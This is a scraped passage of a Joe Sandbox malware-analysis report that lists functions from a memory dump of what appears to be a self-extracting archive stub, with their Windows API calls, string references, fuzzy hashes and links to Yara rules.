Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: 0235a5a99aab357a0cc88c19ba27c2936548d230036e008feba65a0f406d9f9f
Instruction ID: 7d35935fd27afbb8bf8fe9c5f0643bca258dfb06782440b6a01f445d76ff0a97
Opcode Fuzzy Hash: 0235a5a99aab357a0cc88c19ba27c2936548d230036e008feba65a0f406d9f9f
Instruction Fuzzy Hash: DAF0E932A0521877E6319AA69C05FFB776C9F46B50F040166BD80A31C0D7A8990187F5

Function 00FEC891 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetEnvironmentVariableW.KERNEL32(sfxcmd,?), ref: 00FEC8A7
SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 00FEC8E3

Strings

sfxpar, xrefs: 00FEC8DE
sfxcmd, xrefs: 00FEC8A2

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: a0c6cf52328a6bd30bf72427ac3752262634695ffdd405e68fdbdd6b07c9b8d2
Instruction ID: bdc1b72f0a8a320e34af35adfb438bab8dc73890266d9b82db9f1e99d36410b1
Opcode Fuzzy Hash: a0c6cf52328a6bd30bf72427ac3752262634695ffdd405e68fdbdd6b07c9b8d2
Instruction Fuzzy Hash: AEF0A772800225AAD7223FD39C09FEA7B6CAF14751F040057FD849A142DA659942E7F2

Function 00FD964A Relevance: 6.1, APIs: 4, Instructions: 57
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00FD965A
ReadFile.KERNEL32(?,?,00000001,?,00000000), ref: 00FD9672
GetLastError.KERNEL32 ref: 00FD96A4
GetLastError.KERNEL32 ref: 00FD96C3

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: 1155398c652d8a584c385a2fcbb736f617133965b0d988b6c714786f3ba4d196
Instruction ID: 6b59849bea7362c3fcf540522044c5df7813d7c116486eaa7fb09652fee5820e
Opcode Fuzzy Hash: 1155398c652d8a584c385a2fcbb736f617133965b0d988b6c714786f3ba4d196
Instruction Fuzzy Hash: 9F115E31908208EFDB219AD08944B69779BAB04331F14C52BF96686380DBB9CD40EF51

Function 00FF9A2C Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00FF2E0F,00000000,00000000,?,00FF99D3,00FF2E0F,00000000,00000000,00000000,?,00FF9BD0,00000006,FlsSetValue), ref: 00FF9A5E
GetLastError.KERNEL32(?,00FF99D3,00FF2E0F,00000000,00000000,00000000,?,00FF9BD0,00000006,FlsSetValue,01006058,01006060,00000000,00000364,?,00FF85E8), ref: 00FF9A6A
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00FF99D3,00FF2E0F,00000000,00000000,00000000,?,00FF9BD0,00000006,FlsSetValue,01006058,01006060,00000000), ref: 00FF9A78

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: 27a6241bb20d84bf7fe7f6a0316b6c8faf54dfb09d6136ccadc1d0f9ef709380
Instruction ID: c312cfc11ffc624965a6483120ea3c5415b03ba64d79d437cc55c20cbcd7b609
Opcode Fuzzy Hash: 27a6241bb20d84bf7fe7f6a0316b6c8faf54dfb09d6136ccadc1d0f9ef709380
Instruction Fuzzy Hash: 3E01F736A4922BABC7328B689C48B767798BF457B0B110221FE86D3144D77AD801DBE0

Function 00FFA873 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 168COMMON

Download Yara Rule

APIs

Part of subcall function 00FFA446: GetOEMCP.KERNEL32(00000000,?,?,00FFA6CF,?), ref: 00FFA471

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,00FFA714,?,00000000), ref: 00FFA8E7
GetCPInfo.KERNEL32(00000000,00FFA714,?,?,?,00FFA714,?,00000000), ref: 00FFA8FA

Strings

6P+, xrefs: 00FFA87B

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: CodeInfoPageValid
String ID: 6P+
API String ID: 546120528-3080146196
Opcode ID: b8a24dbc36e2823f9a32e3b61b44522db2684f37ca71a2c2f6f2c02586e30e7e
Instruction ID: 10350e3df21557c72a609e9f8c6025a9c8429fd4da6ce7de80aae56d7fc5fd5b
Opcode Fuzzy Hash: b8a24dbc36e2823f9a32e3b61b44522db2684f37ca71a2c2f6f2c02586e30e7e
Instruction Fuzzy Hash: 5C5158F0D002499EDB31CF71C8856BABBE5AF41320F14807ED29E87271E6B99545EB92

Function 00FFA51E Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 132COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 00FFA543

Strings

, xrefs: 00FFA588
6P+, xrefs: 00FFA529

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: Info
String ID: $ 6P+
API String ID: 1807457897-352108377
Opcode ID: f5f6711f2d20e19b23a4f76e61bee21db532bd368678972a3c81766722ec2cf0
Instruction ID: 119e2c577e2af5bfa90665322e38bda213eb1e7710ff6f2a06489464ad014738
Opcode Fuzzy Hash: f5f6711f2d20e19b23a4f76e61bee21db532bd368678972a3c81766722ec2cf0
Instruction Fuzzy Hash: 8F41F7B190424C9ADB228F64CC84BFABBA9DF55304F1C04ECE69EC6152D2359A45AF21

Function 00FDE862 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 00FDE7E3: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00FDE802
Part of subcall function 00FDE7E3: GetProcAddress.KERNEL32(01017350,CryptUnprotectMemory), ref: 00FDE812

GetCurrentProcessId.KERNEL32(?,?,?,00FDE85C), ref: 00FDE8E3

Strings

CryptUnprotectMemory failed, xrefs: 00FDE8DB
CryptProtectMemory failed, xrefs: 00FDE8A3

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: AddressProc$CurrentProcess
String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
API String ID: 2190909847-396321323
Opcode ID: 8bd90cbbcd76e333dc892d29fec2a2426d42498bf0ee54c3e2ee491d2632a579
Instruction ID: a3fc4a65641c5e0be881ecdd87d51f055d3a9b7e49cc1fd7adda0a561e9b08bc
Opcode Fuzzy Hash: 8bd90cbbcd76e333dc892d29fec2a2426d42498bf0ee54c3e2ee491d2632a579
Instruction Fuzzy Hash: 0F112B31B0120517EB11BA39CC55B6E778BDF44B64F0C802BF880DE386DB69DD40B2A1

Function 00FF9990 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 00FF99F0
__crt_fast_encode_pointer.LIBVCRUNTIME ref: 00FF99FD

Strings

6P+, xrefs: 00FF99A4, 00FF99E0, 00FF9A07, 00FF9A0F

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: AddressProc__crt_fast_encode_pointer
String ID: 6P+
API String ID: 2279764990-3080146196
Opcode ID: d4fe9e8022c00edde94af4c3e662030b2db9b639d4a981c0fa904745366f68ba
Instruction ID: c42f83b46e7e8030375832e6d76d95ed13d3de2b7c509f7a16e0d12ee796e8ab
Opcode Fuzzy Hash: d4fe9e8022c00edde94af4c3e662030b2db9b639d4a981c0fa904745366f68ba
Instruction Fuzzy Hash: 26110A33E0512A5B9F36DE69DC40A7A73A5AF843307174120FE54AB2A8D7B9DC41E7E0

Function 00FE04F5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00010000,Function_0001062F,?,00000000,00000000), ref: 00FE0519
SetThreadPriority.KERNEL32(?,00000000), ref: 00FE0560

Part of subcall function 00FD6CCE: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00FD6CEC

Strings

CreateThread failed, xrefs: 00FE0525

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: Thread$CreatePriority__vswprintf_c_l
String ID: CreateThread failed
API String ID: 2655393344-3849766595
Opcode ID: 250823155a18fbbb702b7a5bd9f4f19822fcc9849b32cca59b656f494dab6138
Instruction ID: a179138d1a0aba22f559f8f676c7e9bad99142752882d360f3d4687fb724496d
Opcode Fuzzy Hash: 250823155a18fbbb702b7a5bd9f4f19822fcc9849b32cca59b656f494dab6138
Instruction Fuzzy Hash: 31017DB13443016FD230AF52EC45F6B3399EB40751F24042EF6C2A6289CEE568C0DB30

Function 00FF9C64 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,31E85006,00000001,?,000000FF), ref: 00FF9CD5

Strings

LCMapStringEx, xrefs: 00FF9C75, 00FF9C7F
6P+, xrefs: 00FF9C6A

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: String
String ID: 6P+$LCMapStringEx
API String ID: 2568140703-157081382
Opcode ID: 9cb318d1115fbdd6c8200cf43eb451c79f5ac3ab37c852f9b0742063cf54b51e
Instruction ID: 421ae8469cbec8a855039b347179a0d4435f780e74e5b46bb440ba4490a997d1
Opcode Fuzzy Hash: 9cb318d1115fbdd6c8200cf43eb451c79f5ac3ab37c852f9b0742063cf54b51e
Instruction Fuzzy Hash: D201D33254420DBBDF22AF91DD05EAE3FA6FF08760F014518FE5426160CA778931EB90

Function 00FF9C02 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,00FF9291), ref: 00FF9C4D

Strings

InitializeCriticalSectionEx, xrefs: 00FF9C1D
6P+, xrefs: 00FF9C08

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: 6P+$InitializeCriticalSectionEx
API String ID: 2593887523-3301944762
Opcode ID: 4fdf3018fdb7b737f5ea7e1f8f9a63a33c67681ce141a5b4e487d8e4134ee37a
Instruction ID: f23bd8e7a0d217dfa770a63fc06e3a4108243640f8db0251ad482d1c3d3dc668
Opcode Fuzzy Hash: 4fdf3018fdb7b737f5ea7e1f8f9a63a33c67681ce141a5b4e487d8e4134ee37a
Instruction Fuzzy Hash: 92F0B431A4520CFBCB22AF92DC05DAE7FA1EF08720F014018FE445B160CAB68A20EB90

Function 00FF9AA7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 00FF9AE6

Strings

6P+, xrefs: 00FF9AAD
FlsAlloc, xrefs: 00FF9AC2

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: Alloc
String ID: 6P+$FlsAlloc
API String ID: 2773662609-438482471
Opcode ID: 2eab4652583afea0af47f3e0de72334fcf33988fc59e35716e53318b7b497a03
Instruction ID: 5fb34ac863904787debe2835d5ccc72481112ebe5e0e98afad5926ba5e49d1a2
Opcode Fuzzy Hash: 2eab4652583afea0af47f3e0de72334fcf33988fc59e35716e53318b7b497a03
Instruction Fuzzy Hash: 36E0A731E4521C679632BB929C05A6F7B65DF04710F014059FE4557240CDAA5D1097D5

Function 00FD9C34 Relevance: 4.6, APIs: 3, Instructions: 96fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,?,?,00FDC90A,00000001,?,?,?,00000000,00FE4AF4,?,?,?,?,?,00FE4599), ref: 00FD9C4F
WriteFile.KERNEL32(?,00000000,?,00FE47A1,00000000,?,?,00000000,00FE4AF4,?,?,?,?,?,00FE4599,?), ref: 00FD9C8F
WriteFile.KERNEL32(?,00000000,?,00FE47A1,00000000,?,00000001,?,?,00FDC90A,00000001,?,?,?,00000000,00FE4AF4), ref: 00FD9CBC

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: 4d70e66ffc7fb40e19249583a00037fa9d07b548960d7e01ad6af23c7309d4a1
Instruction ID: 3dc8fbf58365e075606fe800fbaab6348781f35be6c78bbef024466f25739b8e
Opcode Fuzzy Hash: 4d70e66ffc7fb40e19249583a00037fa9d07b548960d7e01ad6af23c7309d4a1
Instruction Fuzzy Hash: C0313A71618306AFD7219F50C808BA6B7DBFB51311F08860AF195933C0C7B4A848DBA1

Function 00FD9EF2 Relevance: 4.6, APIs: 3, Instructions: 56COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(?,00000000,?,?,?,00FD9DFE,?,00000001,00000000,?,?), ref: 00FD9F19
CreateDirectoryW.KERNEL32(?,00000000,?,?,00000800,?,?,?,?,00FD9DFE,?,00000001,00000000,?,?), ref: 00FD9F4C
GetLastError.KERNEL32(?,?,?,?,00FD9DFE,?,00000001,00000000,?,?), ref: 00FD9F69

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: CreateDirectory$ErrorLast
String ID:
API String ID: 2485089472-0
Opcode ID: ff6c4ba08f1e031e2018df043fae8cdb799b52dc2c61b5222ce3442ba68ea615
Instruction ID: 0c7c1030c095bc21c22053cc94f0e1e4cde8e36b6d28006dead4d073d5092f69
Opcode Fuzzy Hash: ff6c4ba08f1e031e2018df043fae8cdb799b52dc2c61b5222ce3442ba68ea615
Instruction Fuzzy Hash: 5B01923190C254A5EB329BE58C49BFD334E9F05750F0C0443F541D5252D7D8C981F6A6

Function 00FEC8F0 Relevance: 4.5, APIs: 3, Instructions: 25synchronizationwindowCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,0000000A), ref: 00FEC8FC
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00FEC915
WaitForSingleObject.KERNEL32(?,0000000A), ref: 00FEC920

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: ObjectSingleWait$MessagePeek
String ID:
API String ID: 1965964400-0
Opcode ID: 817da017f381c5842302045737834fbf5addf426a9566e857843890516a6686c
Instruction ID: c6d680df05fb595ec19406692208022d9a493cdc376ab6207fd03a93cb51c859
Opcode Fuzzy Hash: 817da017f381c5842302045737834fbf5addf426a9566e857843890516a6686c
Instruction Fuzzy Hash: 55E04F31B403087BEA216F90EC8EFA97B6AE718741F504022FB46A90C6D6A658919795

Function 00FD399D Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 176COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00FD39A2

Strings

CMT, xrefs: 00FD39B1

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: H_prolog
String ID: CMT
API String ID: 3519838083-2756464174
Opcode ID: 2e5d8ef510c2c20c994a9ce8aa46d7cc513aa304510cc0b4cd7634e84ff7c3b5
Instruction ID: 06c5368cd0bc2427689ddbb7f528370ec3f7249d5b7bd2d65c30a9a3dae6b181
Opcode Fuzzy Hash: 2e5d8ef510c2c20c994a9ce8aa46d7cc513aa304510cc0b4cd7634e84ff7c3b5
Instruction Fuzzy Hash: E571C276500B44AEDB21DB30CC41AEBB7EAAF14301F48495FE6DB87342D6356A48EF12

Function 00FD1D61 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00FD1D66

Part of subcall function 00FD399D: __EH_prolog.LIBCMT ref: 00FD39A2

Strings

CMT, xrefs: 00FD1D9D

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: H_prolog
String ID: CMT
API String ID: 3519838083-2756464174
Opcode ID: ebb0ffb01c222930deb2644d31da2adea97b555273461bf5416e85782901d22d
Instruction ID: b3914feabf8a0fddc717b6da8f569e168c4b608421284ef488d6816db0564dd2
Opcode Fuzzy Hash: ebb0ffb01c222930deb2644d31da2adea97b555273461bf5416e85782901d22d
Instruction Fuzzy Hash: DD214B72904148AFCB15EF99DD51AEEFBF6FF48300F1800AAE845A7251C7365E50EBA0

Function 00FE9CA1 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

